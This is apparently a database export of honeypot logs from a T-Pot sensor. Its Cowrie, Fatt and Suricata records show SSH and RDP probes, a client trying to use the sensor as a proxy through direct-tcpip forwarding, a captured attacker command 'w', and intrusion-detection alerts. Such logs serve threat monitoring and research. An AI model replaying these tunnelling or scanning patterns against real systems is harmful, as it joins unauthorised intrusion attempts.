20093	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:18.390659+03	2021-09-20 14:15:01.948615+03	{"_id": "vwXfAnwBvYTbRNuE4fc8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:18.390659Z", "@timestamp": "2021-09-20T11:03:18.390Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20094	8.9.231.227	109.199.241.180	Cowrie	2021-09-20 14:03:20.387134+03	2021-09-20 14:15:01.949613+03	{"_id": "2wXfAnwBvYTbRNuE6fdZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.9.231.227", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 8.9.231.227:57191 (192.168.176.2:22) [session: ba384fdfbf58]", "session": "ba384fdfbf58", "@version": "1", "protocol": "ssh", "src_port": 57191, "dest_port": 22, "timestamp": "2021-09-20T11:03:20.387134Z", "@timestamp": "2021-09-20T11:03:20.387Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
20095	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:03:20.389056+03	2021-09-20 14:15:01.951612+03	{"_id": "4AXfAnwBvYTbRNuE6fdZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "8.9.231.227", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57191, "timestamp": "2021-09-20T11:03:20.389056", "@timestamp": "2021-09-20T11:03:20.389Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20096	8.9.231.227	109.199.241.180	Cowrie	2021-09-20 14:03:20.38826+03	2021-09-20 14:15:01.952612+03	{"_id": "3gXfAnwBvYTbRNuE6fdZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.9.231.227", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.53.57.8452213109.199.241.180'", "session": "ba384fdfbf58", "version": "b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.53.57.8452213109.199.241.180'", "@version": "1", "timestamp": "2021-09-20T11:03:20.388260Z", "@timestamp": "2021-09-20T11:03:20.388Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
20097	8.9.231.227	109.199.241.180	Cowrie	2021-09-20 14:03:20.536015+03	2021-09-20 14:15:01.953613+03	{"_id": "4gXfAnwBvYTbRNuE6fdZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "3des-ctr"], "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "63bec3855e65ea71385ce2634bf2f234", "macCS": ["hmac-sha2-256", "hmac-sha1"], "compCS": ["none", "zlib"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "8.9.231.227", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-1.3.132.0.10", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "diffie-hellman-group16-sha512", "diffie-hellman-group15-sha512", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "ext-info-c"], "keyAlgs": ["rsa-sha2-512", "rsa-sha2-256", "ssh-ed25519", "ecdsa-sha2-1.3.132.0.10", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 63bec3855e65ea71385ce2634bf2f234", "session": "ba384fdfbf58", "@version": "1", "timestamp": "2021-09-20T11:03:20.536015Z", "@timestamp": "2021-09-20T11:03:20.536Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}}	1	\N	cowrie.client.kex	\N	\N	\N
20098	8.9.231.227	109.199.241.180	Cowrie	2021-09-20 14:03:26.897039+03	2021-09-20 14:15:01.954613+03	{"_id": "BwXgAnwBvYTbRNuEAPiC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.9.231.227", "dest_ip": "213.174.157.83", "eventid": "cowrie.direct-tcpip.request", "message": "direct-tcp connection request to 213.174.157.83:443 from 127.0.0.1:57521", "session": "ba384fdfbf58", "@version": "1", "src_port": 57521, "dest_port": 443, "timestamp": "2021-09-20T11:03:26.897039Z", "@timestamp": "2021-09-20T11:03:26.897Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.request	\N	\N	\N
20099	8.9.231.227	109.199.241.180	Cowrie	2021-09-20 14:03:27.503962+03	2021-09-20 14:15:01.956612+03	{"_id": "DAXgAnwBvYTbRNuEBPht", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.9.231.227", "dest_ip": "213.174.157.83", "eventid": "cowrie.direct-tcpip.request", "message": "direct-tcp connection request to 213.174.157.83:443 from 127.0.0.1:57551", "session": "ba384fdfbf58", "@version": "1", "src_port": 57551, "dest_port": 443, "timestamp": "2021-09-20T11:03:27.503962Z", "@timestamp": "2021-09-20T11:03:27.503Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.request	\N	\N	\N
20100	8.9.231.227	109.199.241.180	Cowrie	2021-09-20 14:03:28.542097+03	2021-09-20 14:15:01.957613+03	{"_id": "FAXgAnwBvYTbRNuECPid", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"id": 3, "data": "b'\\\\x16\\\\x03\\\\x01\\\\x00\\\\xba\\\\x01\\\\x00\\\\x00\\\\xb6\\\\x03\\\\x03\\\\xcb\\\\xab_\\\\xde{3\\\\xaf\\\\xa2m*\\\\xa1\\\\xbe\\\\x11\\\\x0enP=\\\\x10\\\\xb7&\\\\xebJ+&]\\\\xc7.z\\\\x854i\\\\xeb\\\\x00\\\\x00\\\\x1e\\\\xc0+\\\\xc0/\\\\xcc\\\\xa9\\\\xcc\\\\xa8\\\\xc0,\\\\xc00\\\\xc0\\\\n\\\\xc0\\\\t\\\\xc0\\\\x13\\\\xc0\\\\x14\\\\x003\\\\x009\\\\x00/\\\\x005\\\\x00\\\\n\\\\x01\\\\x00\\\\x00o\\\\x00\\\\x00\\\\x00\\\\x13\\\\x00\\\\x11\\\\x00\\\\x00\\\\x0etsyndicate.com\\\\x00\\\\x17\\\\x00\\\\x00\\\\xff\\\\x01\\\\x00\\\\x01\\\\x00\\\\x00\\\\n\\\\x00\\\\n\\\\x00\\\\x08\\\\x00\\\\x1d\\\\x00\\\\x17\\\\x00\\\\x18\\\\x00\\\\x19\\\\x00\\\\x0b\\\\x00\\\\x02\\\\x01\\\\x00\\\\x00#\\\\x00\\\\x00\\\\x00\\\\x10\\\\x00\\\\x0e\\\\x00\\\\x0c\\\\x02h2\\\\x08http/1.1\\\\x00\\\\x05\\\\x00\\\\x05\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\r\\\\x00\\\\x18\\\\x00\\\\x16\\\\x04\\\\x03\\\\x05\\\\x03\\\\x06\\\\x03\\\\x08\\\\x04\\\\x08\\\\x05\\\\x08\\\\x06\\\\x04\\\\x01\\\\x05\\\\x01\\\\x06\\\\x01\\\\x02\\\\x03\\\\x02\\\\x01'", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.9.231.227", "dest_ip": "213.174.157.83", "eventid": "cowrie.direct-tcpip.data", "message": "discarded direct-tcp forward request 3 to 213.174.157.83:443 with data b'\\\\x16\\\\x03\\\\x01\\\\x00\\\\xba\\\\x01\\\\x00\\\\x00\\\\xb6\\\\x03\\\\x03\\\\xcb\\\\xab_\\\\xde{3\\\\xaf\\\\xa2m*\\\\xa1\\\\xbe\\\\x11\\\\x0enP=\\\\x10\\\\xb7&\\\\xebJ+&]\\\\xc7.z\\\\x854i\\\\xeb\\\\x00\\\\x00\\\\x1e\\\\xc0+\\\\xc0/\\\\xcc\\\\xa9\\\\xcc\\\\xa8\\\\xc0,\\\\xc00\\\\xc0\\\\n\\\\xc0\\\\t\\\\xc0\\\\x13\\\\xc0\\\\x14\\\\x003\\\\x009\\\\x00/\\\\x005\\\\x00\\\\n\\\\x01\\\\x00\\\\x00o\\\\x00\\\\x00\\\\x00\\\\x13\\\\x00\\\\x11\\\\x00\\\\x00\\\\x0etsyndicate.com\\\\x00\\\\x17\\\\x00\\\\x00\\\\xff\\\\x01\\\\x00\\\\x01\\\\x00\\\\x00\\\\n\\\\x00\\\\n\\\\x00\\\\x08\\\\x00\\\\x1d\\\\x00\\\\x17\\\\x00\\\\x18\\\\x00\\\\x19\\\\x00\\\\x0b\\\\x00\\\\x02\\\\x01\\\\x00\\\\x00#\\\\x00\\\\x00\\\\x00\\\\x10\\\\x00\\\\x0e\\\\x00\\\\x0c\\\\x02h2\\\\x08http/1.1\\\\x00\\\\x05\\\\x00\\\\x05\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\r\\\\x00\\\\x18\\\\x00\\\\x16\\\\x04\\\\x03\\\\x05\\\\x03\\\\x06\\\\x03\\\\x08\\\\x04\\\\x08\\\\x05\\\\x08\\\\x06\\\\x04\\\\x01\\\\x05\\\\x01\\\\x06\\\\x01\\\\x02\\\\x03\\\\x02\\\\x01'", "session": "ba384fdfbf58", "@version": "1", "dest_port": 443, "timestamp": "2021-09-20T11:03:28.542097Z", "@timestamp": "2021-09-20T11:03:28.542Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.data	\N	\N	\N
20101	42.63.158.253	109.199.241.180	Fatt	2021-09-20 14:03:29.538891+03	2021-09-20 14:15:01.958613+03	{"_id": "JgXgAnwBvYTbRNuEDPg-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "42.63.158.253", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.5", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 40943, "dest_port": 22, "timestamp": "2021-09-20T11:03:29.538891", "@timestamp": "2021-09-20T11:03:29.538Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
20535	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:26.285345+03	2021-09-20 14:15:02.495644+03	{"_id": "bwXgAnwBvYTbRNuE6vn_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:26.285345Z", "@timestamp": "2021-09-20T11:04:26.285Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20104	8.9.231.227	109.199.241.180	Cowrie	2021-09-20 14:03:21.5925+03	2021-09-20 14:15:01.962612+03	{"_id": "4wXfAnwBvYTbRNuE7Pf3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.9.231.227", "dest_ip": "1.1.1.1", "eventid": "cowrie.direct-tcpip.request", "message": "direct-tcp connection request to 1.1.1.1:53 from 127.0.0.1:57269", "session": "ba384fdfbf58", "@version": "1", "src_port": 57269, "dest_port": 53, "timestamp": "2021-09-20T11:03:21.592500Z", "@timestamp": "2021-09-20T11:03:21.592Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.request	\N	\N	\N
20105	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:03:23.104772+03	2021-09-20 14:15:01.963613+03	{"_id": "8wXfAnwBvYTbRNuE8_f1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:03:22.755088+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 511345560290704, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 64530, "dest_port": 3389, "timestamp": "2021-09-20T11:03:23.104772Z", "@timestamp": "2021-09-20T11:03:23.104Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
20106	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:03:23.129482+03	2021-09-20 14:15:01.965612+03	{"_id": "9AXfAnwBvYTbRNuE8_f2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:03:22.755088+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 511345560290704, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 64530, "timestamp": "2021-09-20T11:03:23.129482Z", "@timestamp": "2021-09-20T11:03:23.129Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
20107	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:03:23.466028+03	2021-09-20 14:15:01.966612+03	{"_id": "9QXfAnwBvYTbRNuE8_f2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:03:22.755088+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 511345560290704, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 64530, "dest_port": 3389, "timestamp": "2021-09-20T11:03:23.466028Z", "@timestamp": "2021-09-20T11:03:23.466Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
20108	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:03:23.104772+03	2021-09-20 14:15:01.968613+03	{"_id": "9gXfAnwBvYTbRNuE9Pfh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 64530, "dest_port": 3389, "timestamp": "2021-09-20T11:03:23.104772", "@timestamp": "2021-09-20T11:03:23.104Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
20109	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:23.206529+03	2021-09-20 14:15:01.969613+03	{"_id": "9wXfAnwBvYTbRNuE9Pfh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:23.206529Z", "@timestamp": "2021-09-20T11:03:23.206Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
